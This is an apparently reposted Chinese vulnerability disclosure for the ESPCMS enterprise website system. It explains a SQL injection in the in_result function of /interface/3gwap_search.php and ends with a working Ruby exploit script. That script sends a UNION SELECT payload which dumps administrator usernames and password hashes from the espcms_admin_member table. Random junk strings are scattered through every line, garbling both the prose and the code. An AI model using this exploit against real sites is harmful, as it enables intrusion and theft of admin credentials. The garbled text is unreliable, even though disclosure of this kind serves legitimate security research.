0×0 漏洞概述0×1 漏洞细节/ M: D E, W! A) |6 u, ]5 v
0×2 PoC( j- l1 e4 C3 N) I" K& u* y
1 ]4 T8 F1 N0 N, M3 U |
- b5 l* W. k3 P+ k' f8 @
: E! E4 C' k% j9 z5 I$ m$ z) {0×0 漏洞概述: S3 M7 h3 L. x! G
, P! f* O, w2 ?+ l1 R9 t- t
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。. W2 v* T. v- H7 J
其在处理传入的参数时考虑不严谨导致SQL注入发生
/ p& V$ O% K0 \7 O5 k! v6 P5 k) J0 ~- ^. e* v
- q$ F4 z; Y" w/ ]+ G6 H. k0 N0×1 漏洞细节9 _5 u8 H5 U& g9 ^* Q e+ n
' i* j4 @2 y/ ?3 z K, m7 J( S
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
) G q# ]. l* {9 ^1 O正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。# z; N! y; W! I, @: Q/ a* I
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
N5 M" S# R' w, J: W6 }0 w8 @6 O2 G/ p# j; T0 Q
在/interface/3gwap_search.php文件的in_result函数中:* g; D( w2 O4 b: _) o
`4 A( W9 W; d8 H2 ?# F- x$ Y: J& J+ s0 D* e( C+ u- }* c9 I" I6 O
! n+ p" N$ [6 d0 U function in_result() {3 k1 _5 B" t, M- j
... ... ... ... ... ... ... ... ...
( {5 N- ~3 r' R ]( f $urlcode = $_SERVER[ 'QUERY_STRING '];
: F+ @6 v8 {3 H4 G" w- }7 W parse_str(html_entity_decode($urlcode), $output);
8 c2 T6 Y4 C- f% p! v- J. z5 M7 L3 R- W- f* x
... ... ... ... ... ... ... ... ...
6 h) [7 \1 q0 h& \9 C- r5 i: T if (is_array($output['attr' ]) && count($output['attr']) > 0) {! C% r8 B( E$ i: z
/ o8 ^8 R4 b' d4 Z0 {8 k
$db_table = db_prefix . 'model_att';
+ ~& X3 a8 T# @8 t6 `# v" G- v
y8 K4 ]; D" _/ { foreach ($output['attr' ] as $key => $value) {+ r- |6 R( R" s1 L3 a( Y9 w
if ($value) {
. n/ ~. c* B' C4 F2 P P
, Z: |) ^0 _, f5 ^5 w* P* J $key = addslashes($key);# S) M: T! W6 {7 v) a
$key = $this-> fun->inputcodetrim($key);* f" u! P# B7 g3 g
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
) E1 h2 }1 J$ p @ $countnum = $this->db_numrows($db_table, $db_att_where);
, j+ i1 G( T( B& e/ S if ($countnum > 0) {
1 |! X: o1 B Z9 H8 R $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
! r' O/ U+ l5 {, E* J% V }2 b+ L* G( }+ v# ^" m
}
1 L9 {3 K9 n) v6 G }, g0 x2 ?* c" w' G" A8 K
}
7 J r; q; P3 R+ H1 D if (!empty ($keyword) && empty($keyname)) {
7 W% n( l+ t; Z0 z' G$ i( T7 Z $keyname = 'title';5 s% q6 G! L v- p
$db_where.= " AND a.title like '%$keyword%'" ;! ^7 K2 C0 t5 P [ l- h
} elseif (!empty ($keyword) && !empty($keyname)) {* Q3 |% P: n k) ? @0 d* s. s9 m
$db_where.= " AND $keyname like '% $keyword%'";
: D8 Z! s ?: |! @/ y6 X }5 d) i8 S" z8 Z* @, \9 t
$pagemax = 15;, `* M2 \: r/ E* z4 p2 O" A; `" Y: @
c/ b& P+ N8 {5 k' d
$pagesylte = 1;- \5 _1 X7 u& S; o
& r6 u" R1 J5 A t6 D t! x) \ if ($countnum > 0) {
+ H3 Q- d. W: P" W1 s8 f) r' z! y
1 B8 a! _( o# d l0 {" o $numpage = ceil($countnum / $pagemax);
$ {$ F+ U5 U. u! h& u } else {5 M; T& k1 y2 H- z% I3 ?
$numpage = 1;
. W2 p2 c. j: e' G }" e+ o3 g# V% g9 O! z6 `6 U- t
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;5 l" a& x$ i" l9 g6 b' O
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
8 W/ y) U* u: u# V8 T7 q5 ]' E7 N$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
8 [6 x+ o! O( Y* g ... ... ... ... ... ... ... ... ...3 X- @8 l. Z6 G9 N% d3 F8 W
}$ U* Z d( e7 E
5 O" o5 z! R% ~1 m6 ]$ ]9 y0 R4 _
# G* O! W+ Y1 ~1 n
0×2 PoC) L( B/ m5 D$ G. m, J# n! p
7 k/ v8 ]' K ?. S! a+ J0 H& I
( C. b' ?, w) j$ Y1 u& I" U# G# L7 S h5 V6 P+ I ~% [
require "net/http"
* f; N) _: ]% _9 h$ D2 C2 X: k5 p" g; h
def request(method, url)
* j9 |% M. I7 n6 c+ X9 `/ O if method.eql?("get")" ^: F0 A2 h" k6 D
uri = URI.parse(url)9 @/ }7 m! e0 k; a7 W1 k
http = Net::HTTP.new(uri.host, uri.port)
( y( }- _% i) _' W' { response = http.request(Net::HTTP::Get.new(uri.request_uri))
0 U* o1 R! Y0 [! ?6 N, u return response# \1 k! w( R( O4 [4 F u# R5 {3 _
end
1 W1 ]: D9 c$ W- w; B$ T# Nend
0 ~9 B9 T5 t _+ x, e! u6 b
$ T4 D6 Q: j3 A/ \# hdoc =<<HERE/ a% W) w" Y+ v+ v9 Y! M
-------------------------------------------------------
: ^# o4 o6 m/ l) n. ]4 B9 e( QEspcms Injection Exploit
3 ?& A1 G+ c8 w6 d* x7 QAuthor:ztz6 ^! Z& Q$ U9 a% j8 U9 D2 N2 h
Blog:http://ztz.fuzzexp.org/
4 M" c+ w2 R8 y-------------------------------------------------------
% Q0 ]- e$ r$ B! N% X% m) a1 h/ A* Z0 S1 s% K9 B' O- D0 ]+ X
HERE( q2 R) a' V( d8 K; Z+ x( k( v
; O4 F1 N1 u! Z' F. U' G: _7 Yusage =<<HERE( V; s8 ~0 a) w i2 t' o' k& u
Usage: ruby #{$0} host port path
( z3 @' J9 F8 i; t5 Pexample: ruby #{$0} www.target.com 80 /( x) @5 n& R: z4 A
HERE- d1 Z/ ?, N1 x5 D
# g) v6 {! O ~& g( g$ }puts doc% `% Y+ n0 H+ U5 `6 O
if ARGV.length < 3
. _! }4 e7 [* @ @ puts usage4 T. q2 S1 E) b& ~, w# U& X. N. J
else( m' u+ U, e5 s" z! j
$host = ARGV[0]$ u5 @1 F8 G0 {4 I! d2 ^( @/ y, i0 Q
$port = ARGV[1]
9 Q5 r1 x E6 A4 [1 B $path = ARGV[2]
1 n4 c/ L( Q4 A
4 X+ m. L8 \# L. d( O4 x+ r1 Y. t puts "send request..."5 K4 q/ H& X3 K0 ~+ W
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&( t/ I+ Z6 o3 z, R0 q' c* c
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
' M2 E. D K) m,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
) q1 g, e) v8 H4 {,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
1 a% \- ^9 N7 O6 R" ]0 ^ response = request("get", url)+ N Q) D& g8 N7 ?/ n
result = response.body.scan(/\w+&\w{32}/)
3 q" j6 d( F$ _, P4 m' D puts result
$ n9 U5 S7 D' t9 }end5 h! l$ y u3 V0 B1 L/ @2 Z
- }( `1 |9 }5 P; j2 i7 h8 w. o, }( x |